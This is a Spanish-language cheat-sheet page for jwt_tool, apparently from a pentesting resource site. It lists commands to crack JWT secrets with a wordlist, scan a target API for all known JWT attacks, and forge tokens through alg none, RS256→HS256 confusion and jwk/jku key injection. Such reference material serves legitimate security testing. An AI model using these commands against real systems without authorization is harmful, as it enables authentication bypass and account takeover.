jwt_tool

jwt_tool decodifica, modifica y firma tokens, y prueba automáticamente los ataques conocidos contra la web. Combínalo con el decodificador de JWT de nuestros recursos para ver el token antes de tocarlo.

Plataforma: Linux · Windows · macOS (Python)
Web oficial: github.com/ticarpi/jwt_tool

Instalación

git clone https://github.com/ticarpi/jwt_tool && pip3 install -r jwt_tool/requirements.txt

Chuleta de jwt_tool

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

IP víctima

7 comandos

Crackear el secreto

Diccionario contra un HS256

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

En nuestras chuletas

Analizador de JWT › Ataques

Ver el contenido

python3 jwt_tool.py <JWT>

Probar todos los ataques contra la web

python3 jwt_tool.py -t http://10.10.11.20/api/me -rh "Authorization: Bearer <JWT>" -M at

alg none

python3 jwt_tool.py <JWT> -X a

Confusión de algoritmo RS256 → HS256

python3 jwt_tool.py <JWT> -X k -pk public.pem

La clave pública suele estar en /jwks.json, /.well-known/jwks.json o en el certificado TLS.

Inyectar una clave propia (jwk / jku)

python3 jwt_tool.py <JWT> -X i

Cambiar un campo y firmar con el secreto

python3 jwt_tool.py <JWT> -T -S hs256 -p 'secreto'

Guías que usan jwt_tool

Ataques a JWT: alg none, secretos débiles, confusión de algoritmos y kid 4 min de lectura Cómo leer un JWT, crackear su secreto con hashcat, abusar de alg none y de la confusión RS256/HS256 e inyectar en kid y jku para firmar tus propios tokens.